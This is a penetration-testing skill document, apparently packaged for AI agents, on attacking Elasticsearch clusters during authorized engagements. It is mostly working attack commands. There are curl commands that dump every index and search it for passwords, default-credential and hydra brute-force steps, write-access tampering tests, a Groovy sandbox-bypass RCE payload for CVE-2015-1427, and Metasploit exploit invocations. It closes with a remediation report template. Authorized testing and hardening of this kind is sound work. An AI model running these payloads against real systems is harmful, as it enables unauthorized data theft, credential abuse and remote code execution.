pentesting-elasticsearch

star 618

Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-elasticsearch description: Testing Elasticsearch search/analytics clusters (default HTTP port 9200, transport 9300) for disabled authentication and full index dumping, default/weak credentials, write access to indices, and the historical Groovy/MVEL dynamic-scripting remote-code-execution CVEs (CVE-2015-1427, CVE-2014-3120) during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • database
  • elasticsearch version: '1.0' author: xalgorix license: Apache-2.0

Pentesting Elasticsearch (port 9200)

When to Use

  • Default 9200/tcp (REST/HTTP API), 9300/tcp (node-to-node transport).
  • Accessed over HTTP — browsing http://<IP>:9200/ returns a JSON banner (cluster name, version, Lucene version).
  • Use whenever 9200 is reachable — Elasticsearch ships with authentication disabled by default, exposing all indices.

Quick Enumeration

# Banner / version
curl -s http://<IP>:9200/

# Auth posture check
curl -s -X GET "http://<IP>:9200/_xpack/security/user"
# 500 "Security must be explicitly enabled" => auth DISABLED (open)
# 401 "missing authentication credentials" => auth ENABLED (need creds)

nmap -sV -p9200 --script http-* <IP>
msfconsole -q -x 'use auxiliary/scanner/elasticsearch/indices_enum; set RHOSTS <IP>; run; exit'

Critical: Checks Most Often Missed

  • Authentication disabled (default) → full index dump — the #1 miss. Without X-Pack security, every index and document is world-readable.
    • How to CONFIRM: curl http://<IP>:9200/ returns the banner and curl http://<IP>:9200/_cat/indices?v lists indices. The _xpack/security/user 500 error confirms security is off.
  • Default / weak credentials (when auth on) — HTTP basic auth with defaults: elastic (superuser), kibana, logstash_system, beats_system, remote_monitoring_user, apm_system; old versions default password changeme.
    • How to CONFIRM: curl http://elastic:changeme@<IP>:9200/ returns data; brute force via any HTTP-basic tool.
  • Write access to indices — an unauthenticated/over-privileged instance may allow creating/modifying documents (data tampering, stored XSS into dashboards).
    • How to CONFIRM: curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' -d '{"a":"b"}' succeeds and the new index appears in _cat/indices.
  • Dynamic scripting RCE (legacy clusters) — old versions allow server-side script execution leading to RCE:
    • CVE-2014-3120 — MVEL dynamic scripting enabled by default in ES < 1.2 (_search with a script field → code exec).
    • CVE-2015-1427 — Groovy sandbox bypass in ES 1.3.0–1.3.7 / 1.4.0–1.4.2 (script_fields Groovy payload → OS command exec).
    • How to CONFIRM: a crafted _search with a Groovy/MVEL script returns the output of java.lang.Runtime.getRuntime().exec(...); Metasploit script_mvel_rce / script_jvm_rce confirm.

Workflow

Step 1: Enumerate

curl -s http://<IP>:9200/                         # version banner
curl -s http://<IP>:9200/_cat/indices?v           # list indices + doc counts
curl -s http://<IP>:9200/_cluster/health?pretty
curl -s http://<IP>:9200/_security/user           # roles/users (if auth on)
curl -s http://<IP>:9200/_cat                      # supported _cat endpoints

Step 2: Authenticate (open access, default/weak creds, brute force)

curl -s http://<IP>:9200/_cat/indices              # try unauthenticated
curl -s -u elastic:changeme http://<IP>:9200/      # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /
# or any HTTP basic-auth brute (medusa, ffuf, patator) against /

Step 3: Exploit / Extract (dump indices + scripting RCE)

# Inspect an index mapping then dump documents (default page size = 10)
curl -s "http://<IP>:9200/bank"
curl -s "http://<IP>:9200/bank/_search?pretty=true&size=1000"
# Dump EVERYTHING across all indices
curl -s "http://<IP>:9200/_search?pretty=true&size=9999"
# Keyword search across all indices (q supports regex)
curl -s "http://<IP>:9200/_search?pretty=true&q=password"

# Test write access (stored data tampering)
curl -X POST '<IP>:9200/bookindex/books' -H 'Content-Type: application/json' \
  -d '{"bookId":"A00-3","author":"x","name":"test"}'
# Legacy dynamic-scripting RCE (CVE-2015-1427 Groovy) — authorized labs only
curl -s "http://<IP>:9200/_search?pretty" -H 'Content-Type: application/json' -d '{
  "size": 1,
  "script_fields": {"x": {"lang":"groovy",
    "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}'
# Metasploit equivalents
msfconsole -q -x 'use exploit/multi/elasticsearch/script_mvel_rce; set RHOSTS <IP>; run'   # CVE-2014-3120
msfconsole -q -x 'use exploit/multi/elasticsearch/search_groovy_script; set RHOSTS <IP>; run' # CVE-2015-1427

Step 4: Post-access / privilege escalation / pivot

  • Dumped indices frequently contain credentials, PII, tokens, and logs — reuse against web apps, SSH, cloud, and the linked Kibana.
  • A linked Kibana on 5601 may proxy ES without auth; pivot there for additional RCE/XSS vectors.
  • On RCE the script runs as the elasticsearch user — enumerate host, sudo, and adjacent ELK components (Logstash, Beats).
  • Write access lets you poison dashboards/log pipelines (stored XSS in Kibana) and tamper with detection data.

Key Concepts

Concept Description
REST/HTTP API All interaction is HTTP on 9200; browser/curl give full access when auth is off.
Index / document An index is a JSON document collection; _search queries return documents.
Auth disabled default X-Pack security off by default → unauthenticated full read (and often write).
size parameter _search defaults to 10 results; set size=N to dump entire indices.
_cat / _cluster / _security Diagnostic endpoints exposing indices, health, users, and roles.
Dynamic scripting Server-side Groovy/MVEL scripts; legacy CVEs (3120/1427) turn this into RCE.

Tools & Systems

Tool Purpose
curl Primary client for banner, index listing, dumping, write tests, scripting RCE.
nmap NSE http-* scripts + version detection; nmap-elasticsearch-nse enumerates indices/plugins/nodes.
Metasploit scanner/elasticsearch/indices_enum, exploit/multi/elasticsearch/script_mvel_rce (CVE-2014-3120), search_groovy_script (CVE-2015-1427).
hydra / medusa / ffuf HTTP basic-auth brute force against /.
horuz Fuzz Elasticsearch endpoints/indices.
Kibana (5601) Linked frontend, frequent pivot for visualization-layer attacks.

Common Scenarios

Scenario 1: Open cluster → mass data dump

curl http://<IP>:9200/_cat/indices?v lists customers, logs-* indices. _search?size=9999 exfiltrates every document, including plaintext PII and access logs with session tokens.

Scenario 2: Default elastic creds

Security is enabled but the elastic superuser still uses changeme. curl -u elastic:changeme http://<IP>:9200/_security/user enumerates all accounts and grants full cluster control.

Scenario 3: Legacy Groovy RCE

An ES 1.4.2 node allows dynamic scripting. A script_fields Groovy payload runs id, returning uid=...elasticsearch, escalating from data access to host command execution.

Output Format

## Elasticsearch Finding

**Service**: Elasticsearch
**Port**: 9200/tcp (Elasticsearch 7.6.0)
**Severity**: High
**Finding**: Authentication disabled exposing all indices
**Evidence**:
  - curl http://<IP>:9200/_xpack/security/user -> 500 "Security must be explicitly enabled"
  - curl http://<IP>:9200/_cat/indices?v -> customers, logs-2024, .kibana
  - _search?size=9999 -> 50,000 customer records with emails + tokens
**Impact**: Unauthenticated read (and likely write) access to all stored data across the cluster.
**Recommendation**:
  1. Enable X-Pack security (`xpack.security.enabled: true`) with TLS and strong credentials.
  2. Restrict 9200/9300 to trusted hosts via firewall; never expose to the internet.
  3. Change all default account passwords (elastic, kibana, logstash_system).
  4. Disable dynamic scripting on legacy versions and upgrade to a supported release.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-elasticsearch
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator